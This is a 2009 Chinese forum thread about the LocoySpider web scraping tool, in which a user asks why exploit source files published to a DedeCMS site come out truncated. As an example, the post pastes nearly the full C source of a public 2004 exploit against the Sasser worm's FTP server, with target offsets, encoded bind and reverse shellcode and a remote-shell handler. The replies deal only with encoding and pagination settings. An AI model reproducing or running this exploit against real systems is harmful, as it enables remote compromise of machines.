火车采集器软件交流官方论坛

 找回密码
 加入会员
搜索
火车采集器V9版免费下载火车浏览器 - 可视采集,万能群发,全自动脚本工具
查看: 1887|回复: 4

关于采集和在线发布的致命问题。

[复制链接]
发表于 2009-7-12 15:04:55 | 显示全部楼层 |阅读模式
本帖最后由 100298 于 2009-7-12 15:07 编辑

刚刚接触火车头,我采集了一些 Exploit 源码文件,在火车头里面看是完整的,也是没有问题的。

可是为什么我在线发布到网站以后发现内容部完整呢??有些只发布进去了十几个字节,有的稍微能多点。

不过基本上没有多少是完整的。(应该不是内容太长的缘故)

第一个代码内容是我发布到我的网站的内容,是发布到 DedeCMS 5.3.1 的内容。

  1. /*
  2.   _________ / ___// ____/ ____/
  3. / ___/ __ \\__ \/ __/ / /
  4. / /  / /_/ /__/ / /___/ /___
  5. /_/   \____/____/_____/\____/

  6. - ROMANIAN SECURITY RESEARCH 2004 -


  7. sasser v[a-e] exploit (of its ftpd server)

  8. exploit version 1.4, public

  9. author:  mandragore
  10. date:  Mon May 10 16:13:31     2004
  11. vuln type: SEH ptr overwriting
  12. greets:  rosecurity team
  13. discovery: edcba
  14. note:  sasser.e has its ftpd on port 1023
  15. update:  offsets

  16. */

  17. #include
复制代码
下面的是原文

  1. /*
  2. _________ / ___// ____/ ____/
  3. / ___/ __ \\__ \/ __/ / /
  4. / / / /_/ /__/ / /___/ /___
  5. /_/ \____/____/_____/\____/

  6. - ROMANIAN SECURITY RESEARCH 2004 -


  7. sasser v[a-e] exploit (of its ftpd server)

  8. exploit version 1.4, public

  9. author: mandragore
  10. date: Mon May 10 16:13:31 2004
  11. vuln type: SEH ptr overwriting
  12. greets: rosecurity team
  13. discovery: edcba
  14. note: sasser.e has its ftpd on port 1023
  15. update: offsets

  16. */

  17. #include <stdio.h>
  18. #include <strings.h>
  19. #include <signal.h>
  20. #include <netinet/in.h>
  21. #include <netdb.h>

  22. #define NORM "\033[00;00m"
  23. #define GREEN "\033[01;32m"
  24. #define YELL "\033[01;33m"
  25. #define RED "\033[01;31m"

  26. #define BANNER GREEN "[%%] " YELL "mandragore&#39;s sploit v1.4 for " RED "sasser.x" NORM

  27. #define fatal(x) { perror(x); exit(1); }

  28. #define default_port 5554

  29. struct { char *os; long goreg; long gpa; long lla;}
  30. targets[] = {
  31. // { "os", pop pop ret, GetProcAd ptr, LoadLib ptr },
  32. { "wXP SP1 many", 0x77BEEB23, 0x77be10CC, 0x77be10D0 }, // msvcrt.dll&#39;s
  33. { "wXP SP1 most others", 0x77C1C0BD, 0x77C110CC, 0x77c110D0 },
  34. { "w2k SP4 many", 0x7801D081, 0x780320cc, 0x780320d0 },
  35. }, tsz;

  36. unsigned char bsh[]={
  37. 0xEB,0x0F,0x8B,0x34,0x24,0x33,0xC9,0x80,0xC1,0xDD,0x80,0x36,0xDE,0x46,0xE2,0xFA,
  38. 0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x51,0xD8,0xDE,0xDE,0x60,0xDE,0xFE,0x9E,
  39. 0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x81,0x8A,0x21,0xCB,0xDA,0xFE,
  40. 0x9E,0xDE,0x49,0x47,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x36,0xD5,0xDE,0xDE,
  41. 0xDE,0x89,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x89,0x21,0xC8,0x21,
  42. 0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,0x8E,0x8D,0x36,
  43. 0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x89,0x21,0xC8,0x21,0x0E,0xB4,0xDF,
  44. 0x8D,0x36,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x89,0x21,0xC8,
  45. 0x21,0x0E,0xB4,0xDE,0x8A,0x8D,0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0xDE,0xCA,0x6A,0x55,0x1A,0xB4,0xCE,
  61. 0x8E,0x8D,0x36,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x89,
  62. 0x21,0xC8,0x21,0x0E,0xB4,0xCE,0x87,0x55,0x22,0x89,0xDD,0x27,0x89,0x2D,0x75,0x55,
  63. 0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x36,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,
  64. 0xBA,0xDE,0x8E,0x36,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,
  65. 0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x18,0xD9,0x9A,0x19,0x99,0xF2,0xDF,0xDF,0xDE,
  66. 0xDE,0x5D,0x19,0xE6,0x4D,0x75,0x75,0x75,0xBA,0xB9,0x7F,0xEE,0xDE,0x55,0x9E,0xD2,
  67. 0x55,0x9E,0xC2,0x55,0xDE,0x21,0xAE,0xD6,0x21,0xC8,0x21,0x0E
  68. };

  69. char verbose=0;

  70. void setoff(long GPA, long LLA) {
  71. int gpa=GPA^0xdededede, lla=LLA^0xdededede;
  72. memcpy(bsh+0x1d,&gpa,4);
  73. memcpy(bsh+0x2e,&lla,4);
  74. memcpy(rsh+0x1d,&gpa,4);
  75. memcpy(rsh+0x2e,&lla,4);
  76. }

  77. void usage(char *argv0) {
  78. int i;

  79. printf("%s -d <host/ip> [opts]\n\n",argv0);

  80. printf("Options:\n");
  81. printf(" -h undocumented\n");
  82. printf(" -p <port> to connect to [default: %u]\n",default_port);
  83. printf(" -s <&#39;bind&#39;/&#39;rev&#39;> shellcode type [default: bind]\n");
  84. printf(" -P <port> for the shellcode [default: 5300]\n");
  85. printf(" -H <host/ip> for the reverse shellcode\n");
  86. printf(" -L setup the listener for the reverse shell\n");
  87. printf(" -t <target type> [default 0]; choose below\n\n");

  88. printf("Types:\n");
  89. for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)
  90. printf(" %d %s\t[0x%.8x]\n", i, targets[i].os, targets[i].goreg);

  91. exit(1);
  92. }

  93. void shell(int s) {
  94. char buff[4096];
  95. int retval;
  96. fd_set fds;

  97. printf("[+] connected!\n\n");

  98. for (;;) {
  99. FD_ZERO(&fds);
  100. FD_SET(0,&fds);
  101. FD_SET(s,&fds);

  102. if (select(s+1, &fds, NULL, NULL, NULL) < 0)
  103. fatal("[-] shell.select()");

  104. if (FD_ISSET(0,&fds)) {
  105. if ((retval = read(1,buff,4096)) < 1)
  106. fatal("[-] shell.recv(stdin)");
  107. send(s,buff,retval,0);
  108. }

  109. if (FD_ISSET(s,&fds)) {
  110. if ((retval = recv(s,buff,4096,0)) < 1)
  111. fatal("[-] shell.recv(socket)");
  112. write(1,buff,retval);
  113. }
  114. }
  115. }

  116. void callback(short port) {
  117. struct sockaddr_in sin;
  118. int s,slen=16;

  119. sin.sin_family = 2;
  120. sin.sin_addr.s_addr = 0;
  121. sin.sin_port = htons(port);

  122. s=socket(2,1,6);

  123. if ( bind(s,(struct sockaddr *)&sin, 16) ) {
  124. kill(getppid(),SIGKILL);
  125. fatal("[-] shell.bind");
  126. }

  127. listen(s,1);

  128. s=accept(s,(struct sockaddr *)&sin,&slen);

  129. shell(s);
  130. printf("crap\n");
  131. }

  132. int main(int argc, char **argv, char **env) {
  133. struct sockaddr_in sin;
  134. struct hostent *he;
  135. char *host; int port=default_port;
  136. char *Host; int Port=5300; char bindopt=1;
  137. int i,s,pid=0,rip;
  138. char *buff;
  139. int type=0;
  140. char *jmp[]={"\xeb\x06","\xe9\x13\xfc\xff\xff"};

  141. printf(BANNER "\n");

  142. if (argc==1)
  143. usage(argv[0]);

  144. for (i=1;i<argc;i+=2) {
  145. if (strlen(argv[i]) != 2)
  146. usage(argv[0]);

  147. switch(argv[i][1]) {
  148. case &#39;t&#39;:
  149. type=atoi(argv[i+1]);
  150. break;
  151. case &#39;d&#39;:
  152. host=argv[i+1];
  153. break;
  154. case &#39;p&#39;:
  155. port=atoi(argv[i+1])?:default_port;
  156. break;
  157. case &#39;s&#39;:
  158. if (strstr(argv[i+1],"rev"))
  159. bindopt=0;
  160. break;
  161. case &#39;H&#39;:
  162. Host=argv[i+1];
  163. break;
  164. case &#39;P&#39;:
  165. Port=atoi(argv[i+1])?:5300;
  166. Port=Port ^ 0xdede;
  167. Port=(Port & 0xff) << 8 | Port >>8;
  168. memcpy(bsh+0x57,&Port,2);
  169. memcpy(rsh+0x5a,&Port,2);
  170. Port=Port ^ 0xdede;
  171. Port=(Port & 0xff) << 8 | Port >>8;
  172. break;
  173. case &#39;L&#39;:
  174. pid++; i--;
  175. break;
  176. case &#39;v&#39;:
  177. verbose++; i--;
  178. break;
  179. case &#39;h&#39;:
  180. usage(argv[0]);
  181. default:
  182. usage(argv[0]);
  183. }
  184. }

  185. if (verbose)
  186. printf("verbose!\n");

  187. if ((he=gethostbyname(host))==NULL)
  188. fatal("[-] gethostbyname()");

  189. sin.sin_family = 2;
  190. sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);
  191. sin.sin_port = htons(port);

  192. printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);
  193. if (bindopt)
  194. printf("[.] will try to put a bindshell on port %d.\n",Port);
  195. else {
  196. if ((he=gethostbyname(Host))==NULL)
  197. fatal("[-] gethostbyname() for -H");
  198. rip=*((long *)he->h_addr_list[0]);
  199. rip=rip^0xdededede;
  200. memcpy(rsh+0x53,&rip,4);
  201. if (pid) {
  202. printf("[.] setting up a listener on port %d.\n",Port);
  203. pid=fork();
  204. switch (pid) { case 0: callback(Port); }
  205. } else
  206. printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr
  207. *)he->h_addr_list[0])),Port);
  208. }

  209. printf("[.] using type &#39;%s&#39;\n",targets[type].os);

  210. // -------------------- core

  211. s=socket(2,1,6);

  212. if (connect(s,(struct sockaddr *)&sin,16)!=0) {
  213. if (pid) kill(pid,SIGKILL);
  214. fatal("[-] connect()");
  215. }

  216. printf("[+] connected, sending exploit\n");

  217. buff=(char *)malloc(4096);
  218. bzero(buff,4096);

  219. sprintf(buff,"USER x\n");
  220. send(s,buff,strlen(buff),0);
  221. recv(s,buff,4095,0);
  222. sprintf(buff,"PASS x\n");
  223. send(s,buff,strlen(buff),0);
  224. recv(s,buff,4095,0);

  225. memset(buff+0000,0x90,2000);
  226. strncpy(buff,"PORT ",5);
  227. strcat(buff,"\x0a");
  228. memcpy(buff+272,jmp[0],2);
  229. memcpy(buff+276,&targets[type].goreg,4);
  230. memcpy(buff+280,jmp[1],5);

  231. setoff(targets[type].gpa, targets[type].lla);

  232. if (bindopt)
  233. memcpy(buff+300,&bsh,strlen(bsh));
  234. else
  235. memcpy(buff+300,&rsh,strlen(rsh));

  236. send(s,buff,strlen(buff),0);

  237. free(buff);

  238. close(s);

  239. // -------------------- end of core

  240. if (bindopt) {
  241. sin.sin_port = htons(Port);
  242. sleep(1);
  243. s=socket(2,1,6);
  244. if (connect(s,(struct sockaddr *)&sin,16)!=0)
  245. fatal("[-] exploit most likely failed");
  246. shell(s);
  247. }

  248. if (pid) wait(&pid);

  249. exit(0);
  250. }

复制代码
发表于 2009-7-12 15:09:39 | 显示全部楼层
试试URLENCODE,感觉这个DEDECMS处理数据包的问题
 楼主| 发表于 2009-7-12 15:15:08 | 显示全部楼层
本帖最后由 100298 于 2009-7-12 15:16 编辑

请问您说的这个在什么地方设置??

还有就是重复检测好像不是太正常。。

我采集同样的东西,采集了三次,提示了三次重复然后停止了。

可是每次停止的地方都不一样。
 楼主| 发表于 2009-7-12 15:42:51 | 显示全部楼层
本帖最后由 100298 于 2009-7-13 10:34 编辑

谢谢,好像解决了发布问题,不过我再测试测试。

不过发布成功以后,他会在底部加上“#p#分页标题#e#”

这个有什么办法吗???

可是采集的内容里面没有 #p#分页标题#e#
 楼主| 发表于 2009-7-13 10:34:22 | 显示全部楼层
我晕。论坛都成这样了???一天都没有人回个帖子。。
您需要登录后才可以回帖 登录 | 加入会员

本版积分规则

QQ|手机版|Archiver|火车采集器官方站 ( 皖ICP备06000549 )

GMT+8, 2024-11-24 13:54

Powered by Discuz! X3.4

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表